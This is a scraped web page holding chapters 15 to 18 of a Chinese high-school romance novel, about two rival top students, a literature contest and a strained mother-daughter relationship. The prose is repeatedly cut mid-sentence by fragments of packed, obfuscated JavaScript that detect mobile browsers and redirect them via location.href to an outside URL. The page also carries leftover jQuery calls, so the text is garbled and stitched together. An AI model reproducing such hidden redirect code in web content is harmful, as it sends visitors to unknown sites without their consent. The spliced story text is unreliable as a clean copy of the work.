RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076211|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是经过和祁昂这一闹,她原本浮躁的心竟然平静了下来,又在语文自习上写了一整节的物理复习小题。 祁昂瞥她一眼,不冷不热道:“午休写题语文课补觉,空白自习发呆语文自习补作业,你是不是对齐老师有意见?” 温知新扫他一眼,不语,只是又锤过去一拳。 祁昂:“……” – 直到放学的时候,温知新才搞懂班里换座位那会儿,站在窗外的几个女生是怎么回事。 课间的时候理重班这层楼会涌来一大批其他班的学生,接水的、上厕所的、绕一圈就为看看女神男神的。 祁昂自不必多说,人帅、话少、成绩逆天好,从入学起就追求者繁多; 而如今的温知新,在转学第三天就拿下被垄断两年的第一,又好像bug一样登上被祁昂垄断的荣誉榜。 灵动、乖巧、飞扬的高马尾。 在温知新不知道的地方,她竟然也被神话成了第二个传说。 新帝旧王,实力匹配,颜值相当,只是想想就能脑补出一部势不两立的死对头电影。 然而在那节自习之后,势不两立变成了近水楼台,死对头变成了真爱。 –“平时把其他人当空气的祁昂,居然乖乖给学姐搬书摆箱子,这不是喜欢是什么?” 放学时好几个学妹结伴来看温知新,其中有人大胆又羞涩的表示:“学姐,我也会像你一样,努力学习,让自己的名字和喜欢的人的名字排在一起。” 温知新:“……”她和谁的名字排在一起了?她喜欢谁了? 别把成绩排名胜负和爱情联系在一起啊,她只想要第一,不想要祁昂。 “不是,你们好像误会了,我……” “回家吗?温知新。”本来好好等在一旁的祁昂忽然拿着温知新的书包走过来,看似不知情地打断了温知新的话。 肉眼可见地,几个学妹又激动起来,她们互相攥着对方的手,笑得很荡漾。 “那我们就不耽误你们回家了,学姐学哥再见!” 学妹们飞一般地离开,留下温知新在闷热的风中守着半截没说出口的解释。 “祁昂,你出来这么早干嘛?”温知新有些生气地看向祁昂,瘪着嘴,脸颊鼓起来一块。 祁昂垂眸盯着她看,没忍住笑了起来。 不出意外,他挨了温知新一拳。 还没走远的学妹们看到这一幕,纷纷发出带着波浪号的笑声。 “……”完了,彻底解释不清了。 “明天咱们两个是一对儿的消息就会满学校飞。”温知新又拿胳膊肘杵了祁昂一下,“都是因为你打断我说话,我本来要解释的。” “所以咱们两个是一对吗?”祁昂问。 “当然不是了,谁要和你是一对儿啊,做梦都会被吓醒的。” 祁昂:“……那你担心什么,身正不怕影子斜。” 说完,他背着温知新的明黄色书包,自己就往车棚走,也没等她。 留在原地的温知新纳闷,谁又惹他了? 15. 旧账 许妄消息灵通,又大嘴巴,还爱编排一些让人想钻墙缝里的外号。 温知新听到她和祁昂被叫做“新帝旧王”的时候退学的心都有了。 “可以杀人吗?”温知新问祁昂。 祁昂说:“走。” 两人冷着脸,从左右方向包抄许妄,将人堵在教室后面的角落。 许妄吱呀乱叫,大喊着:“新帝旧王杀平民百姓啦!” 温知新递给祁昂一个眼神,祁昂心领神会,上前架住许妄,温知新趁机上手挠他痒痒,“还说不说,还说不说,说不说。” 许妄笑得前仰后合,快喘不上气来,求饶:“不说了不说了,错了错了。” 温知新和祁昂鸣金收兵,回座位时发现姜寐早就翘首以盼等在那里。 祁昂要逃,被温知新眼疾手快抓住,“要死一起死。” “谁陪你。”祁昂干脆利落把衣摆抽出来,头也不回地走出教室。 “……”叛徒是没有好下场的。 “你不会也信我和祁昂在一起的小道消息吧。”温知新说。 姜寐说:“我不信。” “很聪明。” “我不信他那张破嘴能追上你。” “……”话是这么说,但是没有追! 他们两个人只有成绩的较量,没有感情的纠纷,望周知。 “那姜大小姐光临寒舍,所为何事?”温知新问。 “这个。”姜寐把一张报名表给她,“齐老师让我给你的。” 温知新接过来,读出上面几个大字,“第四十六届长源杯文学大赛选手报名表。” 她知道这个比赛,全国性赛事,规模很大,奖金很多,在云宁的时候她有想过报名,不过被温倩拦了下来。 “可以不去吗?”温知新问,她觉得这次温倩也不会同意的。 “不可以,一中和附中争了几十年,很在乎这种能为学校争荣誉的全国比赛。”姜寐说,“而且不要报名费,还能公费旅游,为什么不去?” 温知新万分无奈地看向姜寐,姜寐瞬间明白过来。 温知新的不自由,从那被排的满满当当的五一学习计划就可见一斑。 “你自己想去吗?”姜寐说,“你想去的话我替你去和阿姨说,她总要给我这个外人面子吧。” “她会把你抓来和我一起学习。”温知新说。 姜寐假装害怕地抱住自己。 温知新哈哈大笑,把报名表夹到书里,“所以还是我自己和她说吧,避免伤及无辜。” “温温大侠仗义。”姜寐拱手,“下节体育课,我找到一个好去处,温大侠要不要和我一起去?” “却之不恭,请睡睡大侠带路。”温知新也拱手。 祁昂回来就看到温知新和姜寐像两个傻子一样笑作一团。 “……” 因为天气炎热,这节体育课从操场改到室内,全班跑完八百米之后就自由活动。 体育老师嘱咐:“就在体育馆里面玩,不许擅自离开。” “好!” 姜寐和温知新站在第二排,乖乖答应,结果队伍刚解散两个人就要溜去音乐教室吹空调。 傅云星无声无息地跟在她俩后面,祁昂喊住他打网球。 “你不能找别人?”傅云星幽怨地盯着他。 祁昂把球拍递给他,“没你厉害。” “……” 这次轮到傅云星每次都抱着要对方必死的决心发球。 这间音乐教室在实验楼三层,窗帘厚重,只留了一条缝隙,细细窄窄的阳光攀上琴凳。 一架三角钢琴静静地摆在教室正中央。 姜寐会拉小提琴,不会弹钢琴。 “我会一点儿,我弹给你听。”温知新坐过去,影子铺到门口。 按下黑白琴键,轻快活泼的曲调从指尖流淌出来,教室年代久远,面向走廊的窗户氧化泛绿,从外往里只能看到影影绰绰的身形。 姜寐不知从哪里摸出来一台单反,打开录像模式,出声喊温知新:“温温,看我。” 温知新闻声抬眼,看着摄像头笑起来。 丁达尔效应下灰尘无处遁形,她却不染尘埃。 等温知新把会弹的全都弹完之后,两个人挤在一张琴凳上,不成曲调地四手联弹。 “笃笃。” 吱呀一声后,门被推开,祁昂单手插兜站在那里,旁边站着傅云星。 身后幽深走廊描着金黄色的光,因为掉漆而显得陈旧的门框好像拍立得复古相框。 他们两人一个赛一个身高腿长,好像在拍什么时尚大片。 祁昂说:“体育老师点名了,回去吧。” “来了。” 温知新和姜寐关上教室空调,不紧不慢走在祁昂后面。 姜寐摆弄着单反,把拍好的视频给温知新和傅云星看,“我拍的好看吧,回去发给你。” 温知新笑:“好,谢谢。” “哎呀,客气。”姜寐十分满意自己的作品,自顾自地放了好几遍。 傅云星凑过去问:“上星期给我拍的那组照片怎么不发给我?” 姜寐摆弄着单反,头也没抬,“发不发给你都没差呀,反正都要摆到家里。” “那张我们的合照要放在我的卧室里。”傅云星要求。 “好啊,反正你房间里摆的全是我们合照。” 期间单反里的视频在反复播放,温知新问祁昂,“好听吗?我弹的。” “一般。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076212|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温知新已经习惯祁昂的嘴里说不出好听话,她哼一声,“你真没品位。” 高马尾随着她的动作摇晃在光里。 在灿烂金光与绿意盎然中,祁昂看着温知新,耳边是一遍又一遍菊次郎的夏天。 – 从体育馆回教室会经过超市,许妄打球打热了进去买冰水。 温知新状似无意地提起:“有些人之前买了三瓶水,都看见我的水杯是空的了,还故意给许妄两瓶。”她歪头看祁昂,“你说,他想什么呢?” “……” 祁昂长腿迈进超市,刷卡付钱买了六瓶冰水,全塞到了温知新怀里。 凉的她一哆嗦。 “……祁昂,你是不是有病。”温知新又把水塞回祁昂怀里,“买这么多又喝不完。” “喝的完。” 姜寐、傅云星、许妄一人分到一瓶,祁昂自己留了一瓶,剩下两瓶给温知新。 “补偿上次的,够吗?”祁昂问。 “你知道什么叫利息吗?”温知新拿乔。 祁昂很轻地笑了一下,从口袋里拿出几颗上次那个品牌的酸糖,放进温知新的手里。 因为方才握着冰水,所以他们两个人的手掌都有些湿,薄薄的一层水壳在阳光下泛着晶莹的光。 温知新垂眸,看见彩色的糖果和祁昂一触即分的指尖。 “这样够了吗?温知新。” 祁昂清寒的声音裹在夏日正午的风里,随着梧桐叶的沙沙作响一起落在温知新耳边。 她轻轻颤了下眼睫,用略带夸张的语气问:“祁昂,你到底买了多少这个糖?为什么我找遍云宁和宜安也没找到,你能不能把进货渠道给我。” “都说了,是买东西的时候收银员找零给我的。”祁昂笑了一下,手里拿着三瓶水走远,语气轻飘飘又带着骄傲,“你买不到。” 温知新攥住手里的糖,三步并作两步追上祁昂,走在他与树共同投下来的阴影里。 “小气鬼,祁昂。” “嗯,不服咬我。” “……” 温知新看着他,深绿色衣领规整地扣好三颗纽扣,下颌线清晰锋利,眉骨深邃,侧脸英挺优越。 多帅的脸,可惜长了嘴。 她假装嫌弃,拍开他的手臂,“我才不咬呢。” 姜寐、傅云星和许妄走在前面,温知新和祁昂落后几步。 此时是下课时间,校园里人很多,温知新背着手,踩住祁昂的影子慢慢往前走。 “祁昂。” 一道女声自身后传过来,祁昂和温知新纷纷停下脚步回头,温热但不厚重的风从两人之间的缝隙穿过。 不远处站着一个女生,披肩长发,没什么表情地望过来。 16. 交换 祁昂抬手,示意女生稍微等一下,他把水递给温知新,“我去一下。” 温知新挑眉,逗祁昂,“我可以也跟着去一下吗?” 祁昂说:“不可以。” 温知新也冷下脸来,学着祁昂的语调,粗声粗气说:“不可以。” 惹来祁昂一记清脆的脑瓜崩。 温知新终于明白祁昂之前说的“没用力”是什么意思了,要是以后两个人都用这个力道互殴,那她的额头一定会被弹成86版西游记里的如来佛祖。 “我一定会打回来的。”温知新捂着额头,瞪着他放狠话。 祁昂挑眉:“你随意。” “……”这也要装一下吗?少爷。 天热,在日头下拌嘴的是傻子。 温知新和祁昂分别转身,头也不回地往两个方向走。 一个回教室。 另一个和长发女生汇合后,两个人冷着脸往实验楼走。 一楼走廊最尽头是科创基地,学生们参加科创比赛的作品都存在这里。 凌冉问:“科技大赛你准备的怎么样了?” “准备好了。”祁昂淡淡。 凌冉笑起来:“就知道你没问题,等我申到宾大请你吃饭。” 祁昂说:“不用。” 被拒绝,凌冉心情也不受影响。 她申请宾大的文书就只差这一项比赛,祁昂去年就参加过还拿了银奖,有他带队肯定没问题。 正事解决,凌冉放松地在基地里转了起来,忽然想起一件事,问祁昂:“你昨天怎么非要找那家糖果厂?还要我花高价买了一小袋糖回来。” “没什么,突然想吃了。”祁昂盯着电脑上的机器人程序,声音一如既往地冷冰冰,“刚好看到工厂在清曲,发现你也在那里,就拜托你买一袋。” “是吗?一家远在清曲的快倒闭的糖果厂居然那么容易找到。”凌冉看破一切,“是因为刚才那个女生吗?枫树下面和你说话那个?” 祁昂看过去,凌冉很轻地笑了一下。 “你帮我拿金奖,我帮你保守秘密,怎么样?” “不怎样。”祁昂松开鼠标,略微懒散地坐在办公椅里,长腿自然交叠在桌下,“随便你去说。” 祁昂不是吃威胁和激将法这一套的人,凌冉也不自讨没趣,耸耸肩,“无所谓,拿银奖也很好。” 两个人在基地完善了一遍代码,快下课的时候才离开。 祁昂一只手插在口袋里,和凌冉分开前喊住她,“你今天回清曲吗?能不能拜托你再帮我买两袋那款酸糖?” 凌冉大喊祁昂英文名字:“Kian!我不是代购!” 祁昂语气轻描淡写:“保证你拿金奖。” 这句话在凌冉耳边就是:保证她能申到宾大。 “可以,三倍价钱。” 祁昂立刻拿出手机将钱转给她。 凌冉收钱,惋惜道:“早知道要五倍了。” 祁昂充耳不闻,边收手机边往外走,“麻烦去比赛的时候把糖带给我,多谢。” “OK。” – 姜寐和许妄围在桌子前给温知新支招,在想怎么说温倩才会同意温知新去参加长源杯文学大赛。 “绝食。”姜寐说,“这招虽然会自损八百,但是很有成效。” 温知新摇头:“我妈都不在宜安,她压根不知道我吃没吃饭,我就是饿死在家里,估计她也得暑假那会儿才来给我收尸。” 许妄接着出主意:“和阿姨打视频的时候一哭二闹三上吊呢?她不同意你就一直闹,闹到她同意为止。” 温知新也摇头:“她会直接挂掉电话,让我冷静下来再和她沟通。” 进无门,退无路。 温知新叹口气,说:“算了,也不差这一次。我去和齐老师说,让她找别人吧。” 她拿着报名表要去办公室,一开门,差点儿和从外面回来的祁昂撞在一起。 彼此间的距离只有几厘米,温知新稍微抬一下头,就能蹭到祁昂的下巴。 两个人都后退一大步,祁昂看见温知新手里的报名表,问:“去哪里?” “找齐老师说我去不了这个比赛了。”温知新晃晃手中的报名表。 去不了和不去了,连一字之差都没有,只是字的顺序不一样,表达的意思就天差地别。 “怎么了?” 温知新说:“我妈不会同意我去的,你没看见,刚才睡睡和许妄还给我支招呢,但是应该都没什么用。” “我给你支一招。”祁昂微挑眉尖,“听不听?” 温知新锤他胸口一拳,不重,更像闹着玩,“你又装。” “……”他干什么在温知新眼里都很装。 两个人坐回到位置里,温知新问:“请说吧,什么招?” “交换或者说谈判。”祁昂说。 温知新不解:“我有什么资格和我妈谈条件?” 不是自贬,没有挖苦,她说话表情很认真,也是真心实意地感到疑惑。 在生与养之下,她没有和温倩交换的筹码。 “温知新。”祁昂的声音落下来,像初冬飘雪,一点点冷,但碰到耳垂就会融化。 “你不是玩具不是摆件,是活生生的人,是人就会有价值,有利益,有能谈判的筹码。 “没谈成只能说明你给出的东西在对方看来不值一提而已,在你自己能接受的基础上加价就可以。 “这适用任何关系。” 这好像是第一次,在祁昂说完话之后温知新没紧跟着开口,她只是静静地看着他。 直到把祁昂盯到心里发毛,想再说些什么缓解冷场时,她才开口:“祁昂,你刚才好帅啊。” 祁昂的耳朵“腾”一下就红了。 祁昂坐正身子,躲闪着她亮亮的眼睛,煞有介事地转起笔,声音恢复了冷冰冰,“用你说。” 温知新大笑起来,“你现在就一般了,还是刚才那样比较讨人喜欢。” “谁要讨你喜欢。”祁昂拽出来一张试卷就开始写,也不管对不对,唰唰唰三笔,写完五个选择题。 “哎呀,咱班出了个神童。”温知新笑着揶揄他。 “温知新,安静一点。” 这是大课间,距离上课还有十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076213|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要人保持安静简直不讲道理,温知新哼一声,说他装爱学习。 转头看见姜寐在冲自己眨眼睛,温知新立马心领神会,把报名表往课本里随便一夹,欢欢乐乐跑了出去。 姜寐兴致冲冲:“今天高三文七上体育课,去看徐修明吧。” 温知新说:“走。” 徐修明是她们俩在二食堂吃饭时碰见的,当时温知新正在专心嗦面,完全没注意到身后有个帅哥走过。 而坐在她对面的姜寐偶然抬头,惊鸿一瞥,少女心就沦陷。 三天两头在温知新面前盛赞对方的颜值,好像此人只应天上有,人间能得几回闻。 起初温知新觉得姜寐有点言过其实了,再帅能有多帅,比祁昂还帅吗? 虽然祁昂这个人偶尔很讨厌,但是长相确实没的说,估计全宜安找不出来第二个比他还帅的。 直到她真的面对面见到徐修明,才明白姜寐说的是什么意思。 只论长相,确实没有祁昂那么出挑,但他戴着一副扁的无框眼镜,说话轻声细语,举手投足都是书卷气。 很迷人,实在很迷人。 温知新当即弃暗投明,和姜寐一起追男神去了。 姜寐很爱交朋友,没费什么力气就打听了徐修明在高三文七班,顺便把他班的课表也要来了一份。 据说傅云星知道后,气的两天没和姜寐说一句话。 温知新被连坐,也跟着受了一天冷落。 但是美色当前,被打入冷宫就打吧,也不是什么好东西。 两个人十分快乐地在操场看了一小会儿斯文帅哥打篮球,晒的额头鼻尖全是汗,先去厕所用凉水扑了把脸,才慢悠悠回教室。 已经决定今晚好好和温倩商量一下参加比赛事宜的温知新心情还不错,小小声哼着歌,找出来自习要做的题。 “温知新。”祁昂喊她。 “嗯?”温知新握着笔,抬头看过去。 这一刻上课铃与祁昂的声音一起响起,他们的位置太靠前,叮铃铃的催命曲里,温知新没听见祁昂说的每一个字。 “你说什么?” “没什么,不重要。”祁昂重新低回头写题,笔尖在印刷粗糙的试卷上摩擦出沙沙声。 温知新“噢”了一声,也不再问,心里只想着回去怎么和温倩讲要参加比赛的事情。 放学,温知新依旧慢吞吞收拾地收拾书包,把要做的、做完的、短期内不会再做的习题册通通装进去,沉甸甸的一大包。 一早就收拾好的祁昂站在门口,倚着门框垂眸看了她一会儿,有些无奈地开口:“温知新,书包不背在你身上,你不知道沉是吧?” 温知新拉好拉链,抬起头看他,“我知道很沉呀,所以今天我背着就好啦。” 祁昂伸手,把书包从她怀里接过来,“算了,再把你压死。” 温知新已经习惯祁昂这种可以做好事,但不能说好听话的性子。 反正说到底是她占了便宜,随便他怎么说吧。 “谢谢你,大好人。”温知新笑着走在他身边,“回去请你吃麦旋风。” “好。” 17. 筹码 麦当劳在书香别苑小区对面。 这里离一中也近,晚上放学这会儿有不少学生来吃顿加餐。 温知新和祁昂先后走进去,点了两杯麦旋风后坐在靠窗的长桌上,一边吃一边聊天。 忽然听见背后一声“知新”。 两个人都回头,温知新看到徐修明,他端着的餐盘,上面放着一杯咖啡和一份薯条。 “学哥,晚上好。”温知新笑着和他打招呼。 徐修明说:“晚上好,看着背影有些眼熟,没想到真的是你。” “对,我和同学来吃麦旋风。”温知新看了眼祁昂,脸是冷的,手里握着的麦旋风也是冷的。 装但帅。 徐修明和祁昂点了个头,算作打招呼。 他把餐盘放到长桌上,顺势坐在了温知新的另一侧,然后戴上耳机刷手机,也没说话,单纯就是看见熟人凑一桌。 温知新搅拌着麦旋风,问祁昂:“和和最近怎么样?” “还不错。” “多不错?” “很不错。” “……” 温知新放下勺子,不轻不重地锤了祁昂一下。 祁昂轻哂一声,挖了一勺冰淇淋填进嘴里,香草味道弥漫开来。 两个人在温知新家楼下分开,祁昂站在台阶下面,把书包递给温知新,“再见。” 说完便骑上车子离开。 路灯散发出黯淡的白光,只照亮了一小块地方,相对应的,他的影子也只清晰了那三四秒。 刚好一阵风吹过,只剩下一个背影的祁昂和温知新的校服衣摆都被吹起来。 隔着越来越远的距离,不约而同地翻飞。 – 晚上和温倩视频通话之前,温知新犹豫了很长时间,她知道这个时候不该和温倩说要出去比赛的事情。 月考没考上七百分,也没考到第一,怎么看都不像是有谈判资格的样子。 然而祁昂平静又不容置否的声音又不容忽视地响在耳畔。 –“是人就会有筹码。” 那她的筹码是什么? 温知新不清楚。 十一点四十分,温倩准时拨来视频通话。 照例汇报了一下近期学习情况之后,温知新小心翼翼开口:“妈妈,我下周想要去隔壁市参加一个文学杯,大概四天左右,可以吗?” 果不其然,温倩不同意。 “宝贝,你知道你距离高考也就四百天了吗?” “我知道,但是四天不会耽误什么的,我也会好好学习的。” “你如果真的好好学了,四月份的月考就不可能考那么点分,这套题我看了,以你的水平考700分以上没问题。别必要浪费时间在这种事情上。” 温知新表面很平静,然而在摄像头之外,她死死掐着自己的手心,“参加比赛是浪费时间吗?我不能连这点儿自由也没有吧。” “我没给你自由吗?”温倩厉声,“在云宁的时候我有这么管过你吗,你干了什么你自己清楚。 “我说过了,高考完考上江大之后,我绝对不拦着你做你想做的事情,现在什么最重要你不知道吗?” “你现在跟我谈自由,那我的自由呢?为了你,我一天都没有休息过。” 温知新微微张嘴,无数的话堵在胸口,却一个字都飘不出来。 隔着一张屏幕,温知新眼下的黑眼圈依然不容忽视,她眼眶很红,直直地看着温倩,像林间面对猎枪不肯撤退的鹿。 她伶牙俐齿,别人说一句可以回十句,却唯独在面对温倩时会哑火。 她不反抗,不反驳,只是一味做出承诺,“我保证下次会考到700分的。我想去,就这一次,可以吗?” “你真的想去?” “真的。” “为什么?这有什么吸引你的?” 温知新很想反问一句“那700分有什么好吸引你的?”,但还是忍住了。 一板一眼回答:“我没参加过,想去看看。” “这次我可以同意你去,但以后都要听我的。” 温知新点头同意的时候忽然很想笑,原来这就是她的筹码。 – 第二天,温知新去办公室交报名表。 齐老师说:“昨天一天没动静,我以为你把这事忘了呢。” 温知新笑:“没有,记着呢,这不是给您送来了。” “你呀,做什么事情都慢吞吞的,能不能跟舒格学学,人家昨天就拿着往年模拟赛的练习来找我批改了。”齐老师说。 “我最近有些忙,明天一定给您交过来面批。”温知新说。 齐老师说:“忙着写数学物理了吧,你们都觉得语文没用,连古诗词都懒得背。” 温知新觉得冤枉,六分的古诗词填空她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15076214|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可一分也也没丢过。 “老师,不背古诗词的是许妄和傅云星。” “……你也没好哪去,上课补觉,自习偷写别科作业,当我不知道呢。” “!”这个确实不冤枉。 温知新理亏地笑:“我再也不会了,齐老师。” 再也不会让你看到了,以后一定做的更隐蔽。 “行,我记住了,再被我发现你就出去站着去。”齐老师说:“还有就是,这回是高一的老师带队,你和舒格一起去,互相照顾,注意安全。” 温知新点点头,“知道了。” 课间还有点时间,温知新和姜寐去了趟超市,她买了一瓶冰水加两条速溶咖啡粉。 哐当放到桌子上,引来祁昂侧目。 “冰水配咖啡,你的新发明?” “不是。”温知新说,“冰水现在喝,咖啡晚自习喝。”她还晃了晃手里的薄荷糖“这个下午吃。” 祁昂一眼抓住重点,“你很困?” 温知新食指戳了戳自己眼下的黑眼圈,让祁昂看,“很直观吧。” 祁昂只扫了一眼,就收回视线。 “你昨晚做贼去了。” “……是啊,偷了你的气运。”温知新顺着他的话说,还旋转右手做出尽在掌握之中的动作。 祁昂没忍住,偏过头笑起来。 温知新铺开练习册,咔哒咔哒按了两下中性笔,“笑吧笑吧,希望下次联考第一是我的时候,你也能笑得这么开心。” 祁昂笑完了,又恢复了淡淡的表情,淡淡地说:“期待。” “……”怎么这个人说话总是这么欠打啊。 昨晚和温倩置气,温知新一怒之下刷了两套物理卷两套化学卷,折腾到四点才睡。 现在困的要死。 咬碎两块薄荷糖,又灌了一大口冰水,顿时神精气神,感觉从嗓子眼到天灵盖都是通气的。 祁昂瞥她一眼,声音平静,“温知新,一直熬夜真的会猝死。” “多谢提醒。”温知新头也不抬地写题,“到时间第一个带你走。” “不必,你自己走好就行。” 温知新依旧没抬头,只是放下笔,手攥成拳给了他一下。 “又打我?” “没打你,这是做标记,避免我到时候带错人。” 祁昂听她一本正经地说话,没忍住,轻笑一声。 18. 拽姐 虽然“长源”文学大赛挂的是文学的招牌,但本质上还是一群中学生聚在一起玩三天,顺便写三篇作文,跟夏游似的。 坐上大巴时,大家都很激动,叽叽喳喳聊个不停。 温知新和舒格坐在一起,谁都没有说话。 她们并不熟悉,只是因为舒格和许妄做同桌,所以在温知新去找许妄玩的时候,两个人说过几句话。 温知新对舒格的印象是一是不怕热。哪怕宜安气温高到三十度,她依旧穿着长袖校服。 二是很安静,哪怕和许妄这种爱用感叹号的人坐在一起,她也丝毫不受影响。 大巴车载满青春洋溢的小麻雀,轰隆轰隆地开往隔壁市。 快三个小时的路程,目的地是六十八中。 路上有眼尖的别校学生发现了温知新这个新面孔,又看见她穿着一中的校服,于是找到话题极为熟稔地搭起话来。 “今年祁昂和许妄没来吗?”一个男生看着温知新问。 温知新说:“没有。” “没来好,去年可把许妄折磨惨了,一上车就哇哇吐,祁昂一边嫌弃一边帮他收拾烂摊子,本来就没什么表情,这么来一下子脸更臭了。” 温知新笑起来。 她拿出手机,点开和祁昂的聊天页面,在满屏的小猫之后,发送: 知道你为什么给我晕车药了。 7:【什么?】 这个时间点一中刚上完第一节课,然而祁昂居然秒回。 温故而知新:【我要举报,你上课玩手机!】 7:【请】 温故而知新:【……我才没那么无聊】 温故而知新:【你给我晕车药是因为去年许妄晕车狂吐吧】 这次祁昂没有秒回,备注不断在“7”和“对方正在输入中”切换。 三分钟之后。 7:【嗯,怕你吐别人身上被暗杀】 温故而知新:【我谢谢你】 7:【不客气】 温知被这欠欠的三个字气笑了。 温故而知新:【[中指]】 7:【。】 时间还长,和祁昂聊完天之后,温知新塞上耳机,听着英文广播睡了一觉。 再醒来就到了目的地。 几辆大巴停在宽阔的广场,一字排开,旁边站着十几个扶着树狂吐不止的学生。 温知新不晕车,只是觉得热,她把校服的短袖卷上去,露出两只完整的胳膊,转头看见舒格蹲在地上。 她从书包里拿出一瓶水,递给舒格,“喝点水吧。” “谢谢。”舒格仰头接过那瓶百岁山。 “不客气。”温知新用手扇着风,用身体帮舒格挡住阳光。 舒格蹲在温知新影子里,慢慢喝了一口水,却因为烈日而看不清温知新的脸。 三天的行程很简单,上午听无聊讲座,下午创作一篇文体不限的作品,晚上自由活动。 第一天整顿休息,不听讲座不写作文,温知新和舒格待在宿舍里写了一下午题。 宿舍是四人间,温知新和舒格,还有两个宜大附中的女生住一起。 短发女生叫赵彤,扎着兔子尾巴的女生叫习静安。 一个比一个外向。 晚上十点半熄灯,四个人躺在床上,只能听见窸窸窣窣的翻身声。 习静安突然问:“你们是一中的,应该认识祁昂吧?” 赵彤和习静安和祁昂是初中同学,本来都应该直升本部,只是当时出了一点小插曲,祁昂通过中考去了一中。 温知新说:“认识,我和舒格跟他同班。” 习静安问:“那他现在还是第一吗?” 温知新说:“上次区联考不是。” 赵彤惊讶:“但我们老师说第一还是一中的,不是祁昂的话是谁?” “我。” 温知新清脆的的声音响起,带着一点儿骄傲和得意。 祁昂同学,我向你道歉。 原来做个装人真的很爽。 – 到达的第二天,所有事开始步入正轨。 听讲座随便坐,赵彤和习静安直奔最后一排,温知新和舒格则挑了个中间偏后的位置。 刚坐下,就有个卷毛男生走过来,指着温知新旁边的空位问,“你好,请问这里有人吗?” 温知新摇头,说:“没有。” 宋嘉平坐下来,说:“学姐,你还记得我吗?” 温知新看了他几秒,把人盯得害羞地低下头也没想起来。 “不好意思,你是?” “有次社团活动课你捡到我的地图。”宋嘉平说。 其实还是没印象,不过也不好再继续问下去,温知新装作恍然大悟的样子,拖着长长的尾音,“奥”了一声。 旁边的舒格听出她的敷衍,捂嘴偷笑。 温知新做戏做全套,继续演:“是你呀,这么巧。” “嗯,我叫宋嘉平,嘉奖的嘉,和平的平。” 温知新笑一下,“你好,我叫温知新。” “嗯,我知道。”宋嘉平低着头说话,中性笔不知道在本子上画了些什么,嘴角一直没下来。 讲座冗长无聊,温知新听两句就想睡觉,她拿出带来的物理复习册,在做题中一上午的时间很快就过去。 接着吃饭午休,下午写命题作文。 温知新对写东西驾轻就熟,交完题纸往外走,宋嘉平抬头看了一眼,赶忙收尾,匆匆追了上去。 一句“学姐”卡在喉咙里,就看到另一个男生先自己一步,跑到温知新身后,揪了一下她的马尾辫。 宋嘉平怀疑温知新都没看清是谁,那一拳就打了出去,因为出手速度实在太快了。 很重的一击。 男生捂着肚子,碍于考场里还有人没交卷只能小声哎呦。 在这儿遇见郁锦程是温知新没想到的事情。 自从她转学后两个人就没再聊过天,面对面地说话更是这两个月来的第一次。 郁锦程呲牙咧嘴,“温知新,你快把我打死了。” 温知新:“谁让你揪我头发的。” 郁锦程说:“跟你打声招呼还不行?” 温知新微笑,阴阳怪气反问:“那请问您长嘴是干什么用呢?” “……”熟悉的伶牙俐齿,郁锦程说不过她,“不闹了,聊会儿?” 这里有和一中相同的明亮开阔的走廊,傍晚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084283|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光已经不再刺眼,但天气还是很热。 温知新穿着湖水蓝色的短袖,额前沁出一层薄汗,她将没喝完的冰水贴在脸颊,半个身子都探在栏杆外。 “有什么好聊的,我跟你又没旧可叙。” 郁锦程问:“最近怎么样?” 温知新看着楼下三五成群的学生,说:“和在云宁一样,上课刷题睡觉。” 郁锦程挠挠头,“其实我一直想找机会和你说声对不起的。” 温知新知道他说的是关于自己转学这件事,但她压根没怪过他。 “和你又没关系。”温知新实话说,“换谁我都得转学。” 